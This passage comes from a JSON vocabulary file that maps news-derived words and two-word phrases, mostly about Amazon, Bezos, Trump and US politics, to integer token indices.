\"appearances amazon\": 9420,\n  \"addresses list\": 9421,\n  \"unit human\": 9422,\n  \"cave experts\": 9423,\n  \"worldwide\\u0430before\": 9424,\n  \"new trend\": 9425,\n  \"create splits\": 9426,\n  \"vis vis\": 9427,\n  \"detailed correspondence\": 9428,\n  \"public resources\": 9429,\n  \"majority spokesman\": 9430,\n  \"dangerous precedent\": 9431,\n  \"amazon acquiescence\": 9432,\n  \"tale ulrich\": 9433,\n  \"health threats\": 9434,\n  \"ordonez\": 9435,\n  \"witted satire\": 9436,\n  \"tired going\": 9437,\n  \"boy despite\": 9438,\n  \"romero house\": 9439,\n  \"miami took\": 9440,\n  \"newsy affiliate\": 9441,\n  \"just crazy\": 9442,\n  \"delivery process\": 9443,\n  \"guy ritchie\": 9444,\n  \"amazon 575\": 9445,\n  \"amazon meteoric\": 9446,\n  \"existing brand\": 9447,\n  \"mustard ribbon\": 9448,\n  \"copies prior\": 9449,\n  \"cnl_calculated_color null\": 9450,\n  \"industrial development\": 9451,\n  \"computer engineering\": 9452,\n  \"willowy figure\": 9453,\n  \"national rifle\": 9454,\n  \"jim nantz\": 9455,\n  \"street oldest\": 9456,\n  \"create losers\": 9457,\n  \"leavell\": 9458,\n  \"negative outcome\": 9459,\n  \"damage injury\": 9460,\n  \"men laughs\": 9461,\n  \"feds gradually\": 9462,\n  \"development equivalent\": 9463,\n  \"articles revealing\": 9464,\n  \"surveys\": 9465,\n  \"new political\": 9466,\n  \"soda colorado\": 9467,\n  \"highlights memphian\": 9468,\n  \"muslim mayor\": 9469,\n  \"defense say\": 9470,\n  \"augment\": 9471,\n  \"corp stenhouse\": 9472,\n  \"veteran daniel\": 9473,\n  \"footy\": 9474,\n  \"craig phillips\": 9475,\n  \"appreciation chase\": 9476,\n  \"spoke\": 9477,\n  \"super mad\": 9478,\n  \"purposely\": 9479,\n  \"nearly gone\": 9480,\n  \"confront illegal\": 9481,\n  \"2935575\": 9482,\n  \"vapor\": 9483,\n  \"257 enables\": 9484,\n  \"service fair\": 9485,\n  \"things history\": 9486,\n  \"barrow grand\": 9487,\n  \"dosage\": 9488,\n  \"wildlife connecting\": 9489,\n  \"post moving\": 9490,\n  \"eat\": 9491,\n  \"largess does\": 9492,\n  \"plodded\": 9493,\n  \"private parts\": 9494,\n  \"bleday\": 9495,\n  \"times news\": 9496,\n  \"century ago\": 9497,\n  \"allow freebies\": 9498,\n  \"assistant district\": 9499,\n  \"safety drills\": 9500,\n  \"stewart cousins\": 9501,\n  \"threa\": 9502,\n  \"tax avoiders\": 9503,\n  \"meghan markle\": 9504,\n  \"philly business\": 9505,\n  \"violate\": 9506,\n  \"politics email\": 9507,\n  \"lipton\": 9508,\n  \"market punished\": 9509,\n  \"medium dominated\": 9510,\n  \"encourages\": 9511,\n  \"belgium\": 9512,\n  \"economy think\": 9513,\n  \"endure long\": 9514,\n  \"judd\": 9515,\n  \"doll\": 9516,\n  \"mccain joke\": 9517,\n  \"temperatures near\": 9518,\n  \"cast cloud\": 9519,\n  \"night nbc\": 9520,\n  \"wage gap\": 9521,\n  \"gottesman\": 9522,\n  \"asking questions\": 9523,\n  \"ezra\": 9524,\n  \"strong jobs\": 9525,\n  \"maria karaivanova\": 9526,\n  \"morning radio\": 9527,\n  \"legendary innovator\": 9528,\n  \"techno\": 9529,\n  \"right yup\": 9530,\n  \"biggest players\": 9531,\n  \"won swath\": 9532,\n  \"investorideas\": 9533,\n  \"2018 argentina\": 9534,\n  \"diligent remembering\": 9535,\n  \"twitter calebecarma\": 9536,\n  \"provider stamps\": 9537,\n  \"york agreement\": 9538,\n  \"just ceo\": 9539,\n  \"invest advsrs\": 9540,\n  \"2016 making\": 9541,\n  \"90pc\": 9542,\n  \"neil gaiman\": 9543,\n  \"amazon playbook\": 9544,\n  \"far trump\": 9545,\n  \"long bat\": 9546,\n  \"10th torrid\": 9547,\n  \"amid allegations\": 9548,\n  \"candidate cities\": 9549,\n  \"reporter million\": 9550,\n  \"zhu company\": 9551,\n  \"canada construction\": 9552,\n  \"1994 share\": 9553,\n  \"keating\": 9554,\n  \"progress reports\": 9555,\n  \"invoking king\": 9556,\n  \"bs_bullet_primary losing\": 9557,\n  \"pearson\": 9558,\n  \"ba shares\": 9559,\n  \"designed just\": 9560,\n  \"sue scheff\": 9561,\n  \"consultant hired\": 9562,\n  \"renamed\": 9563,\n  \"180\": 9564,\n  \"companies holding\": 9565,\n  \"wrote spokesman\": 9566,\n  \"hate organizations\": 9567,\n  \"vintage car\": 9568,\n  \"tale pitting\": 9569,\n  \"caller peter\": 9570,\n  \"inc_homepage_headline_ab_test inc_headline\": 9571,\n  \"inc5000companies\": 9572,\n  \"project phil\": 9573,\n  \"methodical\": 9574,\n  \"eds\": 9575,\n  \"owner stephanie\": 9576,\n  \"day visit\": 9577,\n  \"information far\": 9578,\n  \"marketplace presenting\": 9579,\n  \"receive opposition\": 9580,\n  \"crazy multiplicity\": 9581,\n  \"talk taxes\": 9582,\n  \"subsequently\": 9583,\n  \"discernable\": 9584,\n  \"document points\": 9585,\n  \"institutions ranging\": 9586,\n  \"included investment\": 9587,\n  \"money controlled\": 9588,\n  \"legislative level\": 9589,\n  \"tech continued\": 9590,\n  \"reading alexandria\": 9591,\n  \"narrow market\": 9592,\n  \"ladies\": 9593,\n  \"health freedom\": 9594,\n  \"murders occurs\": 9595,\n  \"king isbn\": 9596,\n  \"huis kopen\": 9597,\n  \"eat little\": 9598,\n  \"mazie hirono\": 9599,\n  \"bufe bufesam\": 9600,\n  \"hogan sued\": 9601,\n  \"purportedly\": 9602,\n  \"sculptor\": 9603,\n  \"know newer\": 9604,\n  \"changes analysts\": 9605,\n  \"blocked nationwide\": 9606,\n  \"memphis company\": 9607,\n  \"customers samsung\": 9608,\n  \"abusive kalanick\": 9609,\n  \"sulzberger\": 9610,\n  \"children lost\": 9611,\n  \"fitch\": 9612,\n  \"france fears\": 9613,\n  \"video earlier\": 9614,\n  \"choose better\": 9615,\n  \"better able\": 9616,\n  \"local site\": 9617,\n  \"baldwin donald\": 9618,\n  \"reduce deliveries\": 9619,\n  \"free world\": 9620,\n  \"2f17855358\": 9621,\n  \"unsparingly reported\": 9622,\n  \"investment mode\": 9623,\n  \"paul\": 9624,\n  \"lost wages\": 9625,\n  \"internships\": 9626,\n  \"bezos describing\": 9627,\n  \"harris poll\": 9628,\n  \"lo\": 9629,\n  \"publisher confessed\": 9630,\n  \"latest expose\": 9631,\n  \"pittohio united\": 9632,\n  \"share prices\": 9633,\n  \"cramer notes\": 9634,\n  \"vinograd\": 9635,\n  \"rhee\": 9636,\n  \"elections did\": 9637,\n  \"recent decision\": 9638,\n  \"special education\": 9639,\n  \"editors writing\": 9640,\n  \"rift seen\": 9641,\n  \"mentoring series\": 9642,\n  \"turned president\": 9643,\n  \"representative mailed\": 9644,\n  \"hike plans\": 9645,\n  \"office report\": 9646,\n  \"proactive measures\": 9647,\n  \"weak china\": 9648,\n  \"primary fight\": 9649,\n  \"national figures\": 9650,\n  \"news servers\": 9651,\n  \"saying search\": 9652,\n  \"commentator van\": 9653,\n  \"social responsibility\": 9654,\n  \"myles miller\": 9655,\n  \"children small\": 9656,\n  \"sorrow donald\": 9657,\n  \"government atthe\": 9658,\n  \"economy killing\": 9659,\n  \"rivers usa\": 9660,\n  \"products food\": 9661,\n  \"eat etsy\": 9662,\n  \"compatible dash\": 9663,\n  \"tory mps\": 9664,\n  \"nextvideoplaytimeout var\": 9665,\n  \"matter instead\": 9666,\n  \"fcc election\": 9667,\n  \"hiking little\": 9668,\n  \"outlook missed\": 9669,\n  \"movies carrie\": 9670,\n  \"competitive economic\": 9671,\n  \"word class\": 9672,\n  \"dupont\": 9673,\n  \"conditions bernie\": 9674,\n  \"barred usps\": 9675,\n  \"agency boasted\": 9676,\n  \"ultra hd\": 9677,\n  \"executive summary\": 9678,\n  \"delivery enterprise\": 9679,\n  \"app moody\": 9680,\n  \"gillian\": 9681,\n  \"alleged ties\": 9682,\n  \"recyclable\": 9683,\n  \"built president\": 9684,\n  \"ray weaver\": 9685,\n  \"korea relations\": 9686,\n  \"personal belief\": 9687,\n  \"frequently referred\": 9688,\n  \"stunning portrait\": 9689,\n  \"1021388295618682881\": 9690,\n  \"cleveland things\": 9691,\n  \"words photo\": 9692,\n  \"soy growing\": 9693,\n  \"mike stobe\": 9694,\n  \"record immigration\": 9695,\n  \"couple thousand\": 9696,\n  \"monarch dividing\": 9697,\n  \"media film\": 9698,\n  \"crying lowlife\": 9699,\n  \"badly damaged\": 9700,\n  \"rivals complaints\": 9701,\n  \"240 discrete\": 9702,\n  \"occupational\": 9703,\n  \"transmit stories\": 9704,\n  \"gac\": 9705,\n  \"democrats reported\": 9706,\n  \"newspaper speculated\": 9707,\n  \"suggested pentagon\": 9708,\n  \"number 248\": 9709,\n  \"trump epa\": 9710,\n  \"prepare report\": 9711,\n  \"royalty checks\": 9712,\n  \"institute conference\": 9713,\n  \"delivery investors\": 9714,\n  \"ceo sergio\": 9715,\n  \"equal service\": 9716,\n  \"months compared\": 9717,\n  \"valley red\": 9718,\n  \"hrrr model\": 9719,\n  \"blacks work\": 9720,\n  \"unite\": 9721,\n  \"catholic mass\": 9722,\n  \"nana kwame\": 9723,\n  \"copy production\": 9724,\n  \"trump branded\": 9725,\n  \"rainfall snow\": 9726,\n  \"senior senator\": 9727,\n  \"amazon arlington\": 9728,\n  \"important\": 9729,\n  \"meaningful difference\": 9730,\n  \"networks pen\": 9731,\n  \"light black\": 9732,\n  \"blue box\": 9733,\n  \"vstop\": 9734,\n  \"chris matthews\": 9735,\n  \"using catch\": 9736,\n  \"z6\": 9737,\n  \"new boxes\": 9738,\n  \"chairman adam\": 9739,\n  \"pornography trafficking\": 9740,\n  \"joined mitt\": 9741,\n  \"resume nuclear\": 9742,\n  \"rich betsy\": 9743,\n  \"daily decline\": 9744,\n  \"advertises\": 9745,\n  \"agreement new\": 9746,\n  \"acquire media\": 9747,\n  \"agencies holiday\": 9748,\n  \"lead bezos\": 9749,\n  \"bob rolfe\": 9750,\n  \"company senator\": 9751,\n  \"wider review\": 9752,\n  \"sensitive details\": 9753,\n  \"amazon safe\": 9754,\n  \"simmons\": 9755,\n  \"ponders aloud\": 9756,\n  \"business raising\": 9757,\n  \"glass animals\": 9758,\n  \"billion incentive\": 9759,\n  \"usps fedex\": 9760,\n  \"resistance inside\": 9761,\n  \"news sean\": 9762,\n  \"hit black\": 9763,\n  \"similar charges\": 9764,\n  \"rally held\": 9765,\n  \"maintains\": 9766,\n  \"sharing agreements\": 9767,\n  \"report does\": 9768,\n  \"apolitical compared\": 9769,\n  \"mess\": 9770,\n  \"thundering ahead\": 9771,\n  \"administration think\": 9772,\n  \"roofs\": 9773,\n  \"newswire\": 9774,\n  \"koning beals\": 9775,\n  \"immediate\": 9776,\n  \"sacramento bee\": 9777,\n  \"substances\": 9778,\n  \"cnbc trump\": 9779,\n  \"finance carrie\": 9780,\n  \"carroll\": 9781,\n  \"sun paid\": 9782,\n  \"haverty thanks\": 9783,\n  \"sentence following\": 9784,\n  \"new song\": 9785,\n  \"cower\": 9786,\n  \"cites gains\": 9787,\n  \"foundational commercial\": 9788,\n  \"reel\": 9789,\n  \"available exclusively\": 9790,\n  \"party progressives\": 9791,\n  \"obstruction president\": 9792,\n  \"robinson hall\": 9793,\n  \"kerry\": 9794,\n  \"global far\": 9795,\n  \"whacks\": 9796,\n  \"economist greg\": 9797,\n  \"modern locations\": 9798,\n  \"hathaway annual\": 9799,\n  \"trump beat\": 9800,\n  \"mph\": 9801,\n  \"point nvidiahttps\": 9802,\n  \"busch inbev\": 9803,\n  \"inch screen\": 9804,\n  \"teachable moments\": 9805,\n  \"began dating\": 9806,\n  \"founder donald\": 9807,\n  \"enemy number\": 9808,\n  \"far did\": 9809,\n  \"looks conspiracy\": 9810,\n  \"soon\": 9811,\n  \"months icann\": 9812,\n  \"postal scene\": 9813,\n  \"islamic terror\": 9814,\n  \"approached bezos\": 9815,\n  \"pets solidly\": 9816,\n  \"property jeff\": 9817,\n  \"fonda\": 9818,\n  \"buries\": 9819,\n  \"union explained\": 9820,\n  \"trump socks\": 9821,\n  \"court highlighted\": 9822,\n  \"owned newspaper\": 9823,\n  \"comments position\": 9824,\n  \"drone pelosi\": 9825,\n  \"tablet roku\": 9826,\n  \"dark bold\": 9827,\n  \"regularly called\": 9828,\n  \"corruption prefer\": 9829,\n  \"sister ms\": 9830,\n  \"filers deal\": 9831,\n  \"rentier did\": 9832,\n  \"acquired weed\": 9833,\n  \"bottles\": 9834,\n  \"reputations interested\": 9835,\n  \"granted 549\": 9836,\n  \"public function\": 9837,\n  \"scathing reports\": 9838,\n  \"having thousands\": 9839,\n  \"undateable 2018\": 9840,\n  \"bayn xe\": 9841,\n  \"recently faced\": 9842,\n  \"sweet\": 9843,\n  \"reputation brokers\": 9844,\n  \"largest banks\": 9845,\n  \"aba bookselling\": 9846,\n  \"video highlighting\": 9847,\n  \"organization did\": 9848,\n  \"satanism including\": 9849,\n  \"data usage\": 9850,\n  \"goods investigated\": 9851,\n  \"delayed deferred\": 9852,\n  \"le fake\": 9853,\n  \"prospective law\": 9854,\n  \"penned viral\": 9855,\n  \"includes fleets\": 9856,\n  \"hicks compares\": 9857,\n  \"exchanges spoke\": 9858,\n  \"owned website\": 9859,\n  \"zemsky\": 9860,\n  \"motto democracy\": 9861,\n  \"barclays capital\": 9862,\n  \"responsive steering\": 9863,\n  \"saveourfuture\": 9864,\n  \"jessie singleton\": 9865,\n  \"attracted offers\": 9866,\n  \"crisis spiritual\": 9867,\n  \"sanders interests\": 9868,\n  \"pay big\": 9869,\n  \"enthusiasm majority\": 9870,\n  \"amazon italy\": 9871,\n  \"troop deployment\": 9872,\n  \"democratic incumbents\": 9873,\n  \"used inopposition\": 9874,\n  \"gossip fodder\": 9875,\n  \"day collapse\": 9876,\n  \"commerce suffered\": 9877,\n  \"whohave\": 9878,\n  \"amazon google\": 9879,\n  \"eliminating counterfeit\": 9880,\n  \"online walmart\": 9881,\n  \"policy prescriptions\": 9882,\n  \"stonecrest city\": 9883,\n  \"jquery owl\": 9884,\n  \"shortlisted cities\": 9885,\n  \"bernie introduced\": 9886,\n  \"definitively\": 9887,\n  \"amazon priorities\": 9888,\n  \"protestors play\": 9889,\n  \"making gangster\": 9890,\n  \"sector ubs\": 9891,\n  \"ives managing\": 9892,\n  \"people lie\": 9893,\n  \"understand meaning\": 9894,\n  \"choose particular\": 9895,\n  \"reports citing\": 9896,\n  \"diminished relative\": 9897,\n  \"initially cleared\": 9898,\n  \"krasinski playing\": 9899,\n  \"isn news\": 9900,\n  \"tweet featuring\": 9901,\n  \"way transition\": 9902,\n  \"exchanged\": 9903,\n  \"favorites amazon\": 9904,\n  \"blattner\": 9905,\n  \"contributor telly\": 9906,\n  \"allegations phoenix\": 9907,\n  \"ultimately deport\": 9908,\n  \"davis hitless\": 9909,\n  \"gritty data\": 9910,\n  \"palantir amazon\": 9911,\n  \"relations committee\": 9912,\n  \"abc cohen\": 9913,\n  \"npr follow\": 9914,\n  \"incite\": 9915,\n  \"bernanke henry\": 9916,\n  \"giant tax\": 9917,\n  \"reservation boundaries\": 9918,\n  \"clayton wasn\": 9919,\n  \"surrounding trump\": 9920,\n  \"reaps\": 9921,\n  \"amazon narrow\": 9922,\n  \"gotham gazette\": 9923,\n  \"cat image\": 9924,\n  \"decline underway\": 9925,\n  \"bolden lasted\": 9926,\n  \"retailer birkenstock\": 9927,\n  \"raised\": 9928,\n  \"loving exploration\": 9929,\n  \"gains roll\": 9930,\n  \"iconic man\": 9931,\n  \"service categories\": 9932,\n  \"shrm\": 9933,\n  \"amazonis\": 9934,\n  \"investment team\": 9935,\n  \"continuously scan\": 9936,\n  \"duopoly\": 9937,\n  \"maintain place\": 9938,\n  \"solidly\": 9939,\n  \"960x0\": 9940,\n  \"million square\": 9941,\n  \"good work\": 9942,\n  \"electronic communication\": 9943,\n  \"order fulfillment\": 9944,\n  \"site did\": 9945,\n  \"year business\": 9946,\n  \"sinclair inlet\": 9947,\n  \"value uk\": 9948,\n  \"pocketbook\": 9949,\n  \"angst\": 9950,\n  \"feature sen\": 9951,\n  \"grease\": 9952,\n  \"puckering\": 9953,\n  \"mechanism gidley\": 9954,\n  \"share bar\": 9955,\n  \"harmful spam\": 9956,\n  \"wrongfully\": 9957,\n  \"downton\": 9958,\n  \"liberal lobby\": 9959,\n  \"reported wells\": 9960,\n  \"retailers roughly\": 9961,\n  \"stir concern\": 9962,\n  \"schedule appreciate\": 9963,\n  \"healey\": 9964,\n  \"withdraw\": 9965,\n  \"queries\": 9966,\n  \"davidson isn\": 9967,\n  \"trade tactics\": 9968,\n  \"targeted tech\": 9969,\n  \"green book\": 9970,\n  \"191 jeff\": 9971,\n  \"malaise\": 9972,\n  \"crashed washington\": 9973,\n  \"reagan era\": 9974,\n  \"recommended shares\": 9975,\n  \"encounter protests\": 9976,\n  \"partying\": 9977,\n  \"covering sex\": 9978,\n  \"flirting\": 9979,\n  \"objectively interpreting\": 9980,\n  \"nearby wailing\": 9981,\n  \"hacked according\": 9982,\n  \"tax small\": 9983,\n  \"issa announced\": 9984,\n  \"president gw\": 9985,\n  \"400 locations\": 9986,\n  \"chief investment\": 9987,\n  \"labor michaelcohen\": 9988,\n  \"fits perfectly\": 9989,\n  \"historically large\": 9990,\n  \"big quarter\": 9991,\n  \"origins trace\": 9992,\n  \"outperform rating\": 9993,\n  \"democrats intend\": 9994,\n  \"term noise\": 9995,\n  \"illustrator cig\": 9996,\n  \"minus percentage\": 9997,\n  \"holly hatam\": 9998,\n  \"taxpayers subsidize\": 9999,\n  \"prepaid cellular\": 10000,\n  \"beast broke\": 10001,\n  \"direct mail\": 10002,\n  \"fee hike\": 10003,\n  \"customers html\": 10004,\n  \"hardball tactic\": 10005,\n  \"leaving trump\": 10006,\n  \"road near\": 10007,\n  \"2017 andrew\": 10008,\n  \"affect delivery\": 10009,\n  \"president alleged\": 10010,\n  \"campaign john\": 10011,\n  \"baltxqyvjb\": 10012,\n  \"high 93f\": 10013,\n  \"texas rio\": 10014,\n  \"blackfridays walkouts\": 10015,\n  \"gaze\": 10016,\n  \"minds tucker\": 10017,\n  \"scrutiny facebook\": 10018,\n  \"raiders project\": 10019,\n  \"won gold\": 10020,\n  \"lengthy letter\": 10021,\n  \"efficient way\": 10022,\n  \"gives mccabe\": 10023,\n  \"words monopsony\": 10024,\n  \"gibson 425\": 10025,\n  \"danhof aimed\": 10026,\n  \"stage talk\": 10027,\n  \"investment richard\": 10028,\n  \"62ee8090a867\": 10029,\n  \"ebay did\": 10030,\n  \"apprentice action\": 10031,\n  \"simultaneously purchase\": 10032,\n  \"unstable\": 10033,\n  \"california spokesperson\": 10034,\n  \"living\": 10035,\n  \"suzie mason\": 10036,\n  \"meddling ran\": 10037,\n  \"local concern\": 10038,\n  \"people start\": 10039,\n  \"acquisitions george\": 10040,\n  \"ice troubling\": 10041,\n  \"shepardson washington\": 10042,\n  \"dame adding\": 10043,\n  \"cara mentzel\": 10044,\n  \"markets coverage\": 10045,\n  \"cards letters\": 10046,\n  \"yesteryear\": 10047,\n  \"premeditated\": 10048,\n  \"cutting short\": 10049,\n  \"networks congress\": 10050,\n  \"played central\": 10051,\n  \"private contractors\": 10052,\n  \"including increased\": 10053,\n  \"trump shot\": 10054,\n  \"amazon controversial\": 10055,\n  \"whittier tru\": 10056,\n  \"argues revealing\": 10057,\n  \"speculate handle\": 10058,\n  \"spousal support\": 10059,\n  \"lion air\": 10060,\n  \"sectors retail\": 10061,\n  \"democrats progressives\": 10062,\n  \"expertise washington\": 10063,\n  \"buh bye\": 10064,\n  \"violent crimes\": 10065,\n  \"announcement bezos\": 10066,\n  \"signs trump\": 10067,\n  \"roll lately\": 10068,\n  \"cincinnati metropolitan\": 10069,\n  \"saudi arabia\": 10070,\n  \"apply double\": 10071,\n  \"say president\": 10072,\n  \"right mycolleague\": 10073,\n  \"analysts cut\": 10074,\n  \"planthat professionals\": 10075,\n  \"welfare state\": 10076,\n  \"children services\": 10077,\n  \"chief vicki\": 10078,\n  \"wasn sure\": 10079,\n  \"null readmorearticles\": 10080,\n  \"converting certain\": 10081,\n  \"facebook shareholder\": 10082,\n  \"told supporters\": 10083,\n  \"federation osm\": 10084,\n  \"electoral\": 10085,\n  \"sexual peacockery\": 10086,\n  \"favorites deep\": 10087,\n  \"906\": 10088,\n  \"marketwatch amazon\": 10089,\n  \"line euro\": 10090,\n  \"merch empire\": 10091,\n  \"guadalajara\": 10092,\n  \"marketwatch\": 10093,\n  \"weather news\": 10094,\n  \"terrible person\": 10095,\n  \"nbc kate\": 10096,\n  \"product spokeswoman\": 10097,\n  \"cable operators\": 10098,\n  \"lashinsky\": 10099,\n  \"comparable switches\": 10100,\n  \"bowser\": 10101,\n  \"president woodrow\": 10102,\n  \"tested amazon\": 10103,\n  \"donated significant\": 10104,\n  \"recent statements\": 10105,\n  \"chairman elected\": 10106,\n  \"similar products\": 10107,\n  \"amazon offering\": 10108,\n  \"silk appeared\": 10109,\n  \"press chicken\": 10110,\n  \"personal investing\": 10111,\n  \"distressed children\": 10112,\n  \"stores morgan\": 10113,\n  \"book parody\": 10114,\n  \"provides readers\": 10115,\n  \"fran\\u00e7oise\": 10116,\n  \"trending trump\": 10117,\n  \"card expert\": 10118,\n  \"counterproductive\": 10119,\n  \"public trump\": 10120,\n  \"younis takes\": 10121,\n  \"couch buy\": 10122,\n  \"trade frictions\": 10123,\n  \"eugene kim\": 10124,\n  \"plot court\": 10125,\n  \"alienist netflix\": 10126,\n  \"bare minimum\": 10127,\n  \"repeatedly refusing\": 10128,\n  \"outgoing wisconsin\": 10129,\n  \"ones vox\": 10130,\n  \"boring response\": 10131,\n  \"5e1040253796293795842 ref_url\": 10132,\n  \"pre funding\": 10133,\n  \"snow day\": 10134,\n  \"robert kennedy\": 10135,\n  \"box retail\": 10136,\n  \"guy says\": 10137,\n  \"kurth llp\": 10138,\n  \"repeat violators\": 10139,\n  \"wealthiest metropolitan\": 10140,\n  \"angelica mari\": 10141,\n  \"service roughly\": 10142,\n  \"anodyne disposable\": 10143,\n  \"sicilian\": 10144,\n  \"56am commentary\": 10145,\n  \"service meaning\": 10146,\n  \"commercial goods\": 10147,\n  \"official wedding\": 10148,\n  \"spanish politician\": 10149,\n  \"shirt yodeling\": 10150,\n  \"compromising nude\": 10151,\n  \"casket\": 10152,\n  \"critics understate\": 10153,\n  \"tributary\": 10154,\n  \"counterfeits using\": 10155,\n  \"discourage reporting\": 10156,\n  \"faang bull\": 10157,\n  \"region photo\": 10158,\n  \"mueller records\": 10159,\n  \"american academy\": 10160,\n  \"researcher reports\": 10161,\n  \"boorstin reports\": 10162,\n  \"raise costs\": 10163,\n  \"intelligence researchers\": 10164,\n  \"inform citizens\": 10165,\n  \"boardrooms\": 10166,\n  \"unborn child\": 10167,\n  \"displaced low\": 10168,\n  \"nonfiction book\": 10169,\n  \"dinam\\u00e3\": 10170,\n  \"local taxes\": 10171,\n  \"map 20180808\": 10172,\n  \"just slamming\": 10173,\n  \"amazon registry\": 10174,\n  \"hey realdonaldtrump\": 10175,\n  \"follows suzy\": 10176,\n  \"coast steyer\": 10177,\n  \"governor lining\": 10178,\n  \"quarters male\": 10179,\n  \"reuters near\": 10180,\n  \"college grads\": 10181,\n  \"sky rider\": 10182,\n  \"whereso far\": 10183,\n  \"winners business\": 10184,\n  \"car tariffs\": 10185,\n  \"comment aboutbezos\": 10186,\n  \"backlash rears\": 10187,\n  \"taped\": 10188,\n  \"charlotte economic\": 10189,\n  \"sud\": 10190,\n  \"legitimate culturally\": 10191,\n  \"expansion jacinta\": 10192,\n  \"secretary says\": 10193,\n  \"select shoppers\": 10194,\n  \"sister intimate\": 10195,\n  \"patients medical\": 10196,\n  \"ref_src twsrc\": 10197,\n  \"marion\": 10198,\n  \"producer jordan\": 10199,\n  \"scenery chewing\": 10200,\n  \"deliveries rose\": 10201,\n  \"kudlow routinely\": 10202,\n  \"vetting process\": 10203,\n  \"public relations\": 10204,\n  \"hope sensing\": 10205,\n  \"unit sales\": 10206,\n  \"grinds\": 10207,\n  \"pretty solid\": 10208,\n  \"gizmodo\": 10209,\n  \"king latest\": 10210,\n  \"blood clot\": 10211,\n  \"defense components\": 10212,\n  \"escalated amazon\": 10213,\n  \"trump ramps\": 10214,\n  \"600 miles\": 10215,\n  \"a4ee q8\": 10216,\n  \"ill mcdonald\": 10217,\n  \"colonial mansion\": 10218,\n  \"biden correctly\": 10219,\n  \"aired segment\": 10220,\n  \"helps amazon\": 10221,\n  \"involuntary\": 10222,\n  \"center says\": 10223,\n  \"action wasn\": 10224,\n  \"internet start\": 10225,\n  \"kelley\": 10226,\n  \"light bulbs\": 10227,\n  \"yeezy sneakers\": 10228,\n  \"driven entirely\": 10229,\n  \"announced divorce\": 10230,\n  \"consumption bringing\": 10231,\n  \"companies using\": 10232,\n  \"cleaning women\": 10233,\n  \"heartland unease\": 10234,\n  \"paraphrase\": 10235,\n  \"najarian think\": 10236,\n  \"amzn management\": 10237,\n  \"siri switched\": 10238,\n  \"bezos dick\": 10239,\n  \"cuomo\": 10240,\n  \"network chief\": 10241,\n  \"adroitly fortified\": 10242,\n  \"ghetto\": 10243,\n  \"undermined congress\": 10244,\n  \"attack specifically\": 10245,\n  \"activated customers\": 10246,\n  \"collaborate\": 10247,\n  \"schedule meeting\": 10248,\n  \"carlos ghosn\": 10249,\n  \"goodman\": 10250,\n  \"story hotstar\": 10251,\n  \"shopify strategic\": 10252,\n  \"big amazon\": 10253,\n  \"foods promised\": 10254,\n  \"cohn anddomestic\": 10255,\n  \"descriptionplaintext cnn\": 10256,\n  \"semissourian\": 10257,\n  \"area creating\": 10258,\n  \"enquirer investigates\": 10259,\n  \"companies did\": 10260,\n  \"federal reserve\": 10261,\n  \"knowingly\": 10262,\n  \"warmer welcome\": 10263,\n  \"school libraries\": 10264,\n  \"bezos tweet\": 10265,\n  \"business alphabet\": 10266,\n  \"lynch twin\": 10267,\n  \"raise taxes\": 10268,\n  \"doing celebratory\": 10269,\n  \"policies bolsonaro\": 10270,\n  \"climate munduruku\": 10271,\n  \"toni morrison\": 10272,\n  \"prospective students\": 10273,\n  \"captionwas trump\": 10274,\n  \"brandingimageurl brandingtexthead\": 10275,\n  \"experiencing strong\": 10276,\n  \"140bn divorce\": 10277,\n  \"performers including\": 10278,\n  \"apple music\": 10279,\n  \"little state\": 10280,\n  \"compel retailers\": 10281,\n  \"negotiating breakthrough\": 10282,\n  \"amzn company\": 10283,\n  \"176\": 10284,\n  \"nova\": 10285,\n  \"hot right\": 10286,\n  \"search experts\": 10287,\n  \"lead retail\": 10288,\n  \"runs apple\": 10289,\n  \"ukrainian\": 10290,\n  \"thundered\": 10291,\n  \"lengthy medium\": 10292,\n  \"lady michelle\": 10293,\n  \"waver\": 10294,\n  \"state requests\": 10295,\n  \"controllers\": 10296,\n  \"37th\": 10297,\n  \"means moves\": 10298,\n  \"profit prison\": 10299,\n  \"letting\": 10300,\n  \"istock new\": 10301,\n  \"customer support\": 10302,\n  \"retailers opening\": 10303,\n  \"test drones\": 10304,\n  \"white duke\": 10305,\n  \"sen josh\": 10306,\n  \"points right\": 10307,\n  \"elected official\": 10308,\n  \"poultry\": 10309,\n  \"secretary steven\": 10310,\n  \"best employees\": 10311,\n  \"saying publicly\": 10312,\n  \"democrat prevailed\": 10313,\n  \"little indication\": 10314,\n  \"increasingly hard\": 10315,\n  \"platforms google\": 10316,\n  \"pecker attempt\": 10317,\n  \"expedition\": 10318,\n  \"touches seen\": 10319,\n  \"trump baseless\": 10320,\n  \"profile news\": 10321,\n  \"en lucha\": 10322,\n  \"federal machinery\": 10323,\n  \"highest financial\": 10324,\n  \"kristol billkristol\": 10325,\n  \"parts alarm\": 10326,\n  \"trump hate\": 10327,\n  \"gallaway\": 10328,\n  \"extraordinarily privileged\": 10329,\n  \"possible run\": 10330,\n  \"william gates\": 10331,\n  \"implicated\": 10332,\n  \"color specifically\": 10333,\n  \"forest watchdog\": 10334,\n  \"human instincts\": 10335,\n  \"argues david\": 10336,\n  \"downer\": 10337,\n  \"bob oswald\": 10338,\n  \"prices mirror\": 10339,\n  \"instituto\": 10340,\n  \"arrangement works\": 10341,\n  \"permitting 3rd\": 10342,\n  \"way perfect\": 10343,\n  \"profit company\": 10344,\n  \"pinched\": 10345,\n  \"elections resurgent\": 10346,\n  \"states beijing\": 10347,\n  \"bye\": 10348,\n  \"fired afterworking\": 10349,\n  \"white conservative\": 10350,\n  \"retaken\": 10351,\n  \"fraudulent data\": 10352,\n  \"critics creates\": 10353,\n  \"amazon outdated\": 10354,\n  \"major technology\": 10355,\n  \"competitive threats\": 10356,\n  \"worker ants\": 10357,\n  \"briefly edged\": 10358,\n  \"zuker works\": 10359,\n  \"brethren\": 10360,\n  \"explained axios\": 10361,\n  \"diapers bezos\": 10362,\n  \"seminal paper\": 10363,\n  \"irish ambassador\": 10364,\n  \"anticipating lower\": 10365,\n  \"wider effect\": 10366,\n  \"typically proliferate\": 10367,\n  \"delivery costs\": 10368,\n  \"infected father\": 10369,\n  \"st skids\": 10370,\n  \"lii players\": 10371,\n  \"coffee companies\": 10372,\n  \"stephens investment\": 10373,\n  \"insider homepage\": 10374,\n  \"markup\": 10375,\n  \"force chaired\": 10376,\n  \"latertoday\": 10377,\n  \"trump sons\": 10378,\n  \"paying sources\": 10379,\n  \"ernesto\": 10380,\n  \"trump pi\\u00f1ata\": 10381,\n  \"campaign despite\": 10382,\n  \"loopholes galore\": 10383,\n  \"washington locked\": 10384,\n  \"splc long\": 10385,\n  \"metoo connection\": 10386,\n  \"treading\": 10387,\n  \"sourced 